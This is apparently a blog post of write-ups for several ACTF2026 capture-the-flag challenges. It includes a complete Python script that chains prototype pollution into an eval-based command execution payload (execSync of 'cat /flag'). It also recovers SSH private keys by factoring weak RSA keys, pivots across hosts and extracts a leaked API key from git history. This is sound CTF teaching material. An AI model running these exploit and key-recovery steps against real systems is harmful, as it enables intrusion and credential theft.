ACTF2026

1369 字
7 分钟
ACTF2026

∀gent#

先看看 /api/* 端点。

image-20260510162601883
image-20260510162601883

/api/debug/dependencies 能直接看到 jsonpath: 1.1.1jsYaml: 4.1.0 等,走的是 JSONPath 库,路径字段可能可控。

附件的path-builder.jssanitizeSegment 只是做了个 trim(). 随便过。server.js 里 POST /api/projects/:id/agent/override 直接把用户的 scope/environment/section/field 扔给 buildPropertyPath。最终拼出来的路径交给 JSONPath 的 replace 函数去改 YAML。

image-20260510162641958
image-20260510162641958

image-20260510172021088
image-20260510172021088

JSONPath 支持 constructor.prototype 这种内置属性的遍历,如果 environment 写成 constructorsection 写成 prototypefield 写成任意 key,就能往 Object.prototype 上挂属性。

先试试:

image-20260510162849859
image-20260510162849859

请求成功返回 state: completed,说明这条路径确实打到了原型链。

接下来分析 tool-registry.js 里的 executeFormulaExpression

image-20260510162956793
image-20260510162956793

expressionworkspacePolicy.formula 来,但如果 Object.prototype.formula 被污染了,没在 policy 里显式写 formula 的 workspace 就会走原型链上的值。

但这条 eval 有几个前置校验

selectorProfile 要设成 catalog 才允许调 helper,bindingProfile 设成 compat 才允许点号等被拦截字符,resultProfile 设成 wide 才不对返回值做 safe integer 校验

最后把 formula 写成带 pick.constructor(...)().mainModule.require('child_process').execSync('cat /flag') 的 payload

随便触发一个普通 override job,policy evaluate 会自动用被污染的formula跑 eval,shell执行结果直接出现在 job events 的 policy.evaluate 输出里

攻击分 4 步

import requests
import time
BASE = "http://web-0856acd738.adworld.xctf.org.cn:80"
WS = "workspace-main"
def do_override(field, value, desc="", timeout=60):
while True:
try:
resp = requests.post(
f"{BASE}/api/projects/{WS}/agent/override",
json={
"instruction": desc,
"scope": "release",
"environment": "constructor",
"section": "prototype",
"field": field,
"value": value,
},
timeout=timeout,
)
data = resp.json()
if "error" in data and data["error"] == "rate_limited":
wait = data.get("retryAfter", 10) + 2
time.sleep(wait)
continue
return data
except Exception as e:
time.sleep(15)
def trigger_eval():
while True:
try:
resp = requests.post(
f"{BASE}/api/projects/{WS}/agent/override",
json={
"instruction": "trigger",
"scope": "release",
"environment": "staging",
"section": "image",
"field": "tag",
"value": "v99.99.99",
},
timeout=120,
)
data = resp.json()
if "error" in data and data["error"] == "rate_limited":
wait = data.get("retryAfter", 10) + 2
time.sleep(wait)
continue
return data
except Exception as e:
time.sleep(15)
def extract_flag(job_data):
for evt in job_data.get("events", []):
det = evt.get("detail", {})
if det.get("tool") == "policy.evaluate":
out = det.get("output", {})
fr = out.get("formulaResult")
if fr and "ACTF" in str(fr):
return str(fr).strip()
return None
def main():
print("[1/4] 污染 Object.prototype.selectorProfile = 'catalog'(启用 helper)")
r = do_override("selectorProfile", "catalog", "step1")
print(f" -> {r.get('job', {}).get('state')}")
time.sleep(22)
print("[2/4] 污染 Object.prototype.bindingProfile = 'compat'(允许 . 符号)")
r = do_override("bindingProfile", "compat", "step2")
print(f" -> {r.get('job', {}).get('state')}")
time.sleep(22)
print("[3/4] 污染 Object.prototype.resultProfile = 'wide'(允许非整数返回值)")
r = do_override("resultProfile", "wide", "step3")
print(f" -> {r.get('job', {}).get('state')}")
time.sleep(22)
print("[4/4] 污染 Object.prototype.formula = RCE payload")
payload = (
"pick.constructor("
"\"return globalThis.process.mainModule."
"require('child_process').execSync('cat /flag').toString()\""
")()"
)
r = do_override("formula", payload, "step4")
print(f" -> {r.get('job', {}).get('state')}")
time.sleep(22)
print("[*] 触发 policy.evaluate ...")
resp = trigger_eval()
job = resp.get("job", {})
if job.get("state") == "failed":
print(f"[!] Job 失败: {job.get('error', '')[:300]}")
flag = extract_flag(job)
if flag:
print(f"\n[+] FLAG: {flag}")
else:
print("ERROR")
for evt in job.get("events", []):
det = evt.get("detail", {})
if det.get("tool") == "policy.evaluate":
print(det.get("output", {}))
if __name__ == "__main__":
main()

image-20260510163953625
image-20260510163953625

flag#

ACTF{1n_f4c7_∀_D0esn'7_ref3r_2_und3rwe4r_bu7_an_1nVer7ed_A}

ezssh#

获取 SSH 实例,登入

image-20260510150007012
image-20260510150007012

image-20260510150104027
image-20260510150104027

以 guest 身份在 bastion 上逛一圈,发现还有一个 inuebisu 用户,而且它的 .ssh 目录大部分可读:

image-20260510150155646
image-20260510150155646

authorized_keysconfig 可读,authorized_keys 里有三条公钥:

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKXQ5xqRr/u5lkjHIO+RudbCuWdV19qSJCO1dDWqJPNd macbookpro@inuebisu
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvMDKzZ6D+MTDUToYDHiRG/oC+qcPo0gGNhfPzFnfGIU0em7gP911RUHSsRBi9LGBPo4u2KHSdkBrvh5aDClBCDumoLv/UVH2Q9qxxRIQW9uKNMvMNao+Ux30a2MjWM5+KR/xGeujO3YYIkJBx9bI5jkipu5l3UhPRjtTxChTe3T7x7bwZEeW9dsV4NtWM2EyQEX21mfAtb1uHQrL5Ce6kweKmBu/xR7y5r7GDaygBgGQLVjeqXJ6wLew/DPcFcWqMoAULpcUScVZ7F1Rz8AeqLbtZ0fHZbBZVEKgHji2f7K3TwIKe0IfRjICJzaEvHM7SROvEbd7DtVM+lZ1O57Kjw== root@oldgw
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZzVKuczlYY6gw+oeJz1bDf9amct9l/wLMeFLQvaBJzPzIzBFIWNLlfU/MFaAymUQOREWNXvHBKVIBT3kh0m7ATIElHW3FHM2QRFT6ZyK6DYsezJTDHOXEJIGb22aqn/4dI0rK0Wfk/glQJ/Fdx+fw139xmZeGf67rSYEI1t4ARt6ANmT5lTtKmed2+E3i/mRs8Koh+1sxO7Q+JnKGqIfxHGJ0xr86UMZleDNS3JH0dArfkGuEVGj6auKtC6VEFUeliVMpyJkG7f+sPmhcFWhzhxq7M9G7Rk0LE8WI8PiilZoUC7QXvsHM6+CvEPtUYv5NJdhgS1a3hvz9kiuhaUgoOM4CXBUT6QrzLR1yAXnYv9VVbGzgX284SlrGcozx96RyzIMx9BebIUvamyM5++KHJHED+m296+j1G8RTKNk1Mvap0oucVcNLHQ4BnjdFDDsygqJPPJIlUboo7frjvzb3dsIyUiGDPB7UC1SZRZ1yDguNUFvKxq1SV3pDisrPPRs= yubikey-backup@inuebisu

第二条是 root@oldgw 的 RSA 公钥。

SSH config 里配了跳板路由:

image-20260510150419912
image-20260510150419912

意味着持有 oldgw root 私钥的人可以直接 SSH 到 inuebisu。

读取 inuebisu 的 bash_history

image-20260510150509057
image-20260510150509057

现在清楚了,inuebisu 从 oldgw 上把 root 的公钥拖过来,加到了自己的 authorized_keys 里。这是为了方便 oldgw 免密连接,只要拿到 oldgw root 的私钥,就能以 inuebisu 的身份登录。

提取root@oldgw 的 RSA 公钥

image-20260510150726287
image-20260510150726287
模数标称 2048 位,扔进FactorDB 里,发现库里有分解结果。

image-20260510150854617
image-20260510150854617

有了 p、q、e,算出 d,用 cryptography 库生成标准 PEM 文件。

from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
p = 144435643136428279487862373658031255739732662974177555050103495119027651361002552541675605014403449605032671229575107642221281460227469902386567531661413826169139506020762507686302103244886033435327777969457112655452826806728440297374158562870645956063593721107544766076371924529016985736551215416260027460319
q = 164972233953473386473465413087505460913155887782007753974247095726282012719469241419431809558878865126937800943754410540589686077369857600053514259720744660459961620138924969775794736951405212319211250903062798084702535036498424075682713807906782662215674600203029303267366365741951562438807852219383657760337
e=35
n=p * q
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
priv = rsa.RSAPrivateNumbers(
p=p, q=q, d=d,
dmp1=d % (p - 1), dmq1=d % (q - 1), iqmp=pow(q, -1, p),
public_numbers=rsa.RSAPublicNumbers(e=e, n=n)
).private_key()
pem = priv.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption()
)
with open('oldgw_root_key.pem', 'wb') as f:
f.write(pem)
import os, stat
os.chmod('oldgw_root_key.pem', stat.S_IRUSR | stat.S_IWUSR)

用 oldgw root 私钥以 inuebisu 身份登录

image-20260510151632939
image-20260510151632939

读取 flag1 和 inuebisu 的 ed25519 私钥

flag1 在 inuebisu 的home目录,同时把他自己的 ssh 私钥也读出来:

image-20260510151749595
image-20260510151749595

flag1: ACTF{O1DGw_N3vER_d!E5_

ed25519 私钥:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDPRfFaSl4IWjYbY7/wgdR9RpSe6jMnHf5VsKV/JCCnzgAAAKB7xa86e8Wv
OgAAAAtzc2gtZWQyNTUxOQAAACDPRfFaSl4IWjYbY7/wgdR9RpSe6jMnHf5VsKV/JCCnzg
AAAEAEymr35UDO3S+viHdSkRZKUHBxU49bufJhimZugZsXJM9F8VpKXghaNhtjv/CB1H1G
lJ7qMycd/lWwpX8kIKfOAAAAGmludWViaXN1QGJhc3Rpb24tdG8tZ2l0LTAxAQID
-----END OPENSSH PRIVATE KEY-----

把私钥存下来给后续跳板用

跳板到 git-01,读取 flag2

上一步拿到的 ed25519 私钥配合 SSH config 里的 Host 别名,直接连 git-01:

image-20260510152540390
image-20260510152540390

flag2: h!s70ry_sT!lL_1eaK$_

查看 git-01 上的仓库和 SSH 密钥

image-20260510152806404
image-20260510152806404

发现 gitops 里还有一把 backup_ro 私钥

git log 看到 5 个 commits

image-20260510153824942
image-20260510153824942

git fsck --lost-found 还有一个悬空对象:

image-20260510153836261
image-20260510153836261

展开这个悬空 commit:

image-20260510153909789
image-20260510153909789

拿到 API Key。这个文件是通过 /usr/local/bin/init-repo.sh 写入然后被 git filter-branch 删掉的,但悬空对象一直留在 .git 里。

image-20260510154042324
image-20260510154042324

用 backup_ro 密钥连 backup-01

gitops 的 .ssh/backup_ro 是给 backup-01 用的。但 backup-01 只开放 SFTP,不给 shell。

image-20260510154242499
image-20260510154242499

换 SFTP,翻 backup-01 的目录,一层层翻下去,发现了ai-gateway.service

下载

image-20260510154803067
image-20260510154803067

读取,拿到了 AI 网关地址 10.61.22.40:8080 和模型名 deepsleep-v8

image-20260510154853593
image-20260510154853593

之前从 git 泄露拿到的 API Key + 刚拿到的网关地址 + 模型名,直接调接口:

image-20260510161328921
image-20260510161328921
flag3: @70M1c_b0mBiN9}

flag#

ACTF{O1DGw_N3vER_d!E5_h!s70ry_sT!lL_1eaK$_@70M1c_b0mBiN9}

ZJUAM Just Uses Awful Math#

看一眼协议分级:

image-20260510165119877
image-20260510165119877

共 21 个包,全部是 TCP/HTTP 流量,没有 TLS。

过滤下http,看见三条关键记录:

image-20260510165312369
image-20260510165312369

登录流程是:

  1. GET /cas/login — 获取登录页面
  2. GET /cas/v2/getPubKey — 获取 RSA 公钥
  3. POST /cas/login — 提交表单,密码字段为 RSA 加密后的 hex 字符串

追踪流:

流 1 的响应体:

image-20260510165450219
image-20260510165450219

拿到 模数 n 和指数 e=65537

流 2 的请求体:

image-20260510165650800
image-20260510165650800

拿到密文 c

放到CyberChef里看一下长度

image-20260510170150146
image-20260510170150146

长度为64,即256位RSA,很弱,可以爆破。

先试试 FactorDB 里有没有,直接拿到了p、q:

image-20260510170736416
image-20260510170736416
计算私钥 d

p = 202555251191383333988748320354737959551
q = 321566364572398185024295275472079273917
e=65537
phi = (p - 1) * (q - 1)
def egcd(a, b):
if a == 0:
return b, 0, 1
g, x1, y1 = egcd(b % a, a)
return g, y1 - (b // a) * x1, x1
_, d, _ = egcd(e, phi)
if d < 0:
d += phi
print(f"d = {d}")

image-20260510171050664
image-20260510171050664

用私钥 d 解密密文 c

c = 0x590948ad2f7a3c0b1a2a5e5f470f4297db3b90623251132be2c5e5395cd12563
d =57449394726814929042902532280545079775758564580188876356191663298485522431073
n=65134955750662064990047457927999496458621987626625285735948429340634195331267
m = pow(c, d, n)
flag_bytes = m.to_bytes((m.bit_length() + 7) // 8, "big")
flag = flag_bytes.decode("ascii")
print(flag)

image-20260510171254399
image-20260510171254399

flag#

ACTF{TLS_s@ves_THE_w0RLd}

special day#

base64

image-20260510164704138
image-20260510164704138

flag#

ACTF{Happy_Mothers_Day_Mom}

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

ACTF2026
https://blog.lacrimosa.me/posts/ACTF2026-wp/
作者
LacYor
发布于
2026-05-20
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
LacYor
Hello, I'm LacYor.
公告
博客重构中...
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
标签
站点统计
文章
3
分类
3
标签
7
总字数
3,763
运行时长
0
最后活动
0 天前

文章目录